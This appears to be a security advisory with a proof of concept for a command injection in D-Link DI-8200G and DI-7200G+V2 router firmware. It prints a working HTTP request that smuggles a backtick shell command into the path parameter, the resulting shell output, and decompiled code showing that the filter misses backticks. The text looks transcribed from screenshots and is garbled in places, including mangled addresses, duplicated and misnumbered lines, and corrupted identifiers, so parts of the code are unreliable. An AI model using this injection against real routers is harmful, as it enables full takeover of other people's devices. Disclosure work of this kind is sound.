Vendor of the products: D-Link

Affected Device: D-Link DI-8200G \ DI-7200G+V2

Version: DI 8200G-17.12.20A1, DI 7200G+V2-24.04.18D1

Firmware Download: http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-8200G

http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-7000G%20V2%E7%B3%BB%E5%8 8%97

Vulnerability Description: A command injection vulnerability was discovered in D-Link DI_8200G-17.12.20A1 and DI_7200G+V2-24.04.18D1, triggered by the path parameter in upgrade_filter.asp. Attackers can exploit this vulnerability by crafting malicious packets to execute arbitrary commands, thereby gaining full control of the target device.

POC:

```
Request
 Pretty
   GET /upgrade_filter.asp?path=`ls>/tmp/006` HTTP/1.1
 2 Host: 192,168.0.1
 3 User-Agent: Mozilla/5.0 (X11; Linux x86 64;
   rv:139.0) Gecko/20100101 Firefox/139.0
 4 Accept: application/json, text/javascript, */*
 5 Accept - Language:
   zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3,
   en; q=0.2
 6 Accept-Encoding: gzip, deflate, br
 7 Connection: keep-alive
8 Referer: http://192.168.0.1/index.htm?_1750213953
9 Cookie: userid=admin; gw_userid=
   admin,gw_passwd=26B5FCEBBF42DD08B1AAE77C4EA147E5
  Priority: u=0
10
11
```

Vulnerability Effect:

It can be observed that the router receives the request and successfully executes the command.

```
Response

Pretty Raw Hex Render

1 HTTP/1.1 200 OK
2 Server: HTTPD_gw 1.0
3 Content-Length: 32
4 Keep-Alive: timeout=15, max=100
5 Connection: Keep-Alive
Pragma: no-cache
7 Cache-Control: no-cache
8 Content-Type: text/html;charset=gb2312
9 {"ret":1,"msg":"下载特征库失败"}
```

```
/tmp # ls
001
                                          jhttpd_state
                                                               upgrade
002
003
                     automount.log
                                          mnt
                                                               var
                     df_file
etc
                                          ping
004
                                          pppoe_route_table
005
                                          radius_state
                     home
/tmp # cat 006
bin
dev
etc
etc_ro
firmadyne
hd
hd_share
home
init
lib
lost+found
media
mnt
ргос
root
run
sbin
sys
tmp
usr
var
/tmp #
```

Vulnerability Cause:

The issue resides in the jhttpd component. In jhttpd, the program invokes the sub_46FC20 function to handle requests related to upgrade_filter.asp. The program first retrieves the value of the path parameter via httpd get parm and stores it in the parm variable.

Next, the program performs a security check on the value of the path parameter using the commandInjectionCheck function. The checked value is then concatenated into a variable via the sprintf function, which is ultimately executed by the jhl_system function.

```
1 // upgrade_filter.asp
              fastcall sub 46FC20(int a1)
         int parm; // $s1
         int v3; // $52
         int v5; // $v0
         int n6684672; // $a0
         int n20; // $a2
        char __ret__:0__msg_:_ok__[512]; // [sp+18h] [-208h] BYREF
const char *v10; // [sp+218h] [-8h]
  10
  11
  12
       panm = httpd_get_parm(a1, "path");
v3 = httpd_get_parm(a1, "time");
v10 = (const char *)commandInjectionCheck(parm);
• 13
• 14
• 15
        nvram_set("tzk_upgrade_info",
nvram_set("tzk_state", "0");
• 16
• 17
         v4 = jiffies_get();

mod_timer(a1 + 103056, v4 + 100000);

mod_timer(a1 + 103056, v4 + 100000);
• 18
• 19
        • 20
• 21
• 22
• 23
  24
• 25
           n20 = sprintf(__ret__:0__msg_:_ok__, "{\"ret\":1,\"msg\":\"%s\"}", byte_661C50);
  27
  28
         {
• 29
           n6684672 = 6684672;
• 30
           if ( v3 )
           nvram_set("tzk_time", v3);
jhl_parm_commit(n6684672);
• 31
• 32
• 33
           n20 = 20:
• 34
           strcpy(_
                         ret_:0__msg_:_ok__, "{\"ret\":0,\"msg\":\"ok\"}");
  35
• 36
         return httpd_cgi_ret(a1, __ret_:0__msg_:_ok__, n20, 4);
       0006FC60 sub 46FC20:13 (46FC60)
```

However, the commandInjectionCheck function only filters characters such as `&`, `|`, and `;`. Attackers can bypass the check and execute arbitrary commands to fully control the device by constructing malicious parameters.

```
int *_fastcall commandInjectionCheck(int a1)
   2
   3
        BYTE *v2; // $v0
       BYTE *v3; // $v0
   5
       _BYTE *v4; // $v0
   6
  7
       memset(&dword_6879AC, 0, 1024);
. 8
       strncpy(&dword_6879AC, a1, 1024);
• 9
       v2 = ( BYTE *)strchr(&dword_6879AC, '&');
• 10
       dword_687DAC = (int)v2;
• 11
       if ( v2 )
• 12
         *v2 = 0;
       v3 = (_BYTE *)strchr(&dword_6879AC, '|');
• 13
       dword 687DAC = (int)v3;
• 14
• 15
       if ( v3 )
         *v3 = 0;
• 16
       v4 = ( BYTE *)strchr(&dword 6879AC, ';');
• 17
• 18
       dword_687DAC = (int)v4;
       if ( v4 )
*v4 = 0;
• 19
• 20
• 21
       return &dword_6879AC;
• 22 }
```